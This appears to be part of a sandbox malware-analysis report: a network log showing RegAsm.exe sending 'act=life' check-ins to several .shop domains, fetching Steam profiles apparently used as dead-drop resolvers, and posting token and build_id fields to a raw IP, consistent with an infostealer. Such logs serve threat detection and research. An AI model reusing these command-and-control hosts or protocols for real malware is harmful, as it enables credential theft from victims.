2024-09-26 17:06:35 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: offensivedzvju.shop
2024-09-26 17:06:35 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 17:06:37 UTC	770	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:06:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6a4kp17qvj5ep8jnubfjukacm1; expires=Mon, 20 Jan 2025 10:53:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K6DqacsrZwzWFYDMlYOoddOKtBAYIRKsDnQsYDZ1zHSngQT7hI5gCDklpXNRb38odtplQMnVUbJlH8oqtOeCVG%2BoIa%2FZGvynvvIU8B62JYDX3hDlYnrVqY%2BHY5UylFfjHGgAsnTp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c94d86c9c8f32f4-EWR
2024-09-26 17:06:37 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 17:06:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	59776	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:35 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFHIJKJKFIDHJKFBGHC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:06:35 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 49 4a 4b 4a 4b 46 49 44 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 37 62 63 65 33 66 35 66 38 30 62 65 37 64 38 64 34 66 64 65 31 35 62 31 30 33 63 61 39 34 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 49 4a 4b 4a 4b 46 49 44 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 49 4a 4b 4a 4b 46 49 44 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 Data Ascii: ------ECFHIJKJKFIDHJKFBGHCContent-Disposition: form-data; name="token"207bce3f5f80be7d8d4fde15b103ca94------ECFHIJKJKFIDHJKFBGHCContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------ECFHIJKJKFIDHJKFBGHCCont
2024-09-26 17:06:36 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:06:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:06:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	59778	188.114.96.3	443	2120	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:38 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: vozmeatillu.shop
2024-09-26 17:06:38 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 17:06:40 UTC	762	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:06:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uaoduqvurpdmo23nql6omn5ia5; expires=Mon, 20 Jan 2025 10:53:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BkloDcn7FcR4xwQRY4XIDoMP4RUsG3EgutCk28GLEI8UxfZxAXbdxTM8cAgEyjyLBdlFdu1KPfW89XxUFbgbj3Bg3TIe5hpESofcIn9K373DCON5n4onVQzYrMVh%2BEXNjV73"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c94d87f0a8978d0-EWR
2024-09-26 17:06:40 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 17:06:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	59779	172.67.162.108	443	2120	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:41 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: drawzhotdog.shop
2024-09-26 17:06:41 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 17:06:42 UTC	766	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:06:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pqinvqfvjn28hfi9h66m3mbuga; expires=Mon, 20 Jan 2025 10:53:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xUigiRiWhu%2FZtEPvR4GG932qAeZU3r4Bm6wWJMqbH6oroYtP6OegS6tjfqsWzhQTpalca98I%2BPWloRiTkErZbia12v6DULpdiDNGldwLxcCQkxCdw2Y%2F54nxnDeRvn0KuuwA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c94d88fe8598ce9-EWR
2024-09-26 17:06:42 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 17:06:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	59780	188.114.96.3	443	2120	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:42 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fragnantbui.shop
2024-09-26 17:06:42 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 17:06:43 UTC	764	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:06:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1icv89p28hkqlukadigi1at2bi; expires=Mon, 20 Jan 2025 10:53:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D2ufyoKlwn11jbTBpJmHhzHewaze47otiubI%2FvPeC8XdrVjFXqlcaM0JYSlgY8VCCSN51PpFYOQrJ2SZ78x7eXhWbSFsOJeCI5BgE1%2F4yI777Uq0cX1vRvz34tj9iit6rGdf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c94d899b9d65e6a-EWR
2024-09-26 17:06:43 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 17:06:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	59781	188.114.96.3	443	2120	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:43 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: stogeneratmns.shop
2024-09-26 17:06:43 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 17:06:44 UTC	770	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:06:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tv11k5ko5ucmb04u6mvlbdc5qo; expires=Mon, 20 Jan 2025 10:53:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rhBHLrGO6WHIofHPx9OL8N8Cz2iUqBC1bpAERMgI2I4klYu3btS2RsOlzapauLHCm048F5iKgLSyZtP2PdgB8tr76Ew%2ByFKbeGgHwUtWNpJTPmFX6q7hHU%2BPKRAoCZZ9aTcOa0g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c94d89ff90c7d1e-EWR
2024-09-26 17:06:44 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 17:06:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	59782	172.67.208.139	443	2120	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:44 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: reinforcenh.shop
2024-09-26 17:06:44 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 17:06:45 UTC	778	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:06:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kjr7ttulv63lempo18kj6vdj3c; expires=Mon, 20 Jan 2025 10:53:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t%2FUBR%2FHJ2wXBvcxr%2BI4VzwYsrtIPY9e8D4Krh63JYK%2B%2FOJ3hMoFvpL7S2L%2FdJ%2BogmBXXf8U%2FvHHZdrVf2RWpz8seNYKhA4lioaOUPsabKyZ%2BntOeCSrklpwcRYeFnF3hfk9L"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c94d8a61e56430f-EWR
2024-09-26 17:06:45 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 17:06:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	59783	104.102.49.254	443	2120	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:45 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-09-26 17:06:46 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 26 Sep 2024 17:06:46 GMT Content-Length: 34663 Connection: close Set-Cookie: sessionid=64f09570dc62dc5dd9767075; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-09-26 17:06:46 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-09-26 17:06:46 UTC	16384	IN	Data Raw: 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6d 65 6e 75 22 20 61 Data Ascii: ernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="navigation" id="global_action_menu" a
2024-09-26 17:06:46 UTC	3765	IN	Data Raw: 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 49 6e 69 74 50 72 6f 66 69 6c 65 53 75 6d 6d 61 72 79 28 20 67 5f 72 67 50 72 6f 66 69 6c 65 44 61 74 61 5b 27 73 75 6d 6d 61 72 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 20 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 Data Ascii: e info</span></div><script type="text/javascript"> $J( function() { InitProfileSummary( g_rgProfileData['summary'] ); } ); </script></div></div></div></div></div><div class="profile_content "><div class="p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	59784	104.21.2.13	443	2120	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:46 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: ballotnwu.site
2024-09-26 17:06:46 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 17:06:47 UTC	778	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:06:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e3lu8ueqrd35tsp8ra5gm1m5si; expires=Mon, 20 Jan 2025 10:53:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LzRpubq9AP3JQywT%2B%2B9BYYffTirpRaGnS3aT9q4Hkw5nq9%2B8lzmsBzndWuNv%2BLo8Q%2Ba9eW4quIekkzfJW9ZPMx4KEtFt%2Fbi7C2bJN6FbC3rLKYBL9bHZr%2FGRCPgOy00oMw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c94d8b3de308c93-EWR
2024-09-26 17:06:47 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 17:06:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	59785	104.102.49.254	443	1820	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:53 UTC	119	OUT	GET /profiles/76561199780418869 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:06:54 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 26 Sep 2024 17:06:53 GMT Content-Length: 34725 Connection: close Set-Cookie: sessionid=b53c7b9330ef82e2e58d87ff; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-09-26 17:06:54 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-09-26 17:06:54 UTC	16384	IN	Data Raw: 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e Data Ascii: enDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="n
2024-09-26 17:06:54 UTC	3768	IN	Data Raw: 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 49 6e 69 74 50 72 6f 66 69 6c 65 53 75 6d 6d 61 72 79 28 20 67 5f 72 67 50 72 6f 66 69 6c 65 44 61 74 61 5b 27 73 75 6d 6d 61 72 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f Data Ascii: vate":true}" class="whiteLink" class="whiteLink">View more info</span></div><script type="text/javascript"> $J( function() { InitProfileSummary( g_rgProfileData['summary'] ); } ); </script></div></div></div></
2024-09-26 17:06:54 UTC	59	IN	Data Raw: 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: </div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	59786	5.75.211.162	443	1820	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:55 UTC	185	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:06:55 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:06:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:06:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
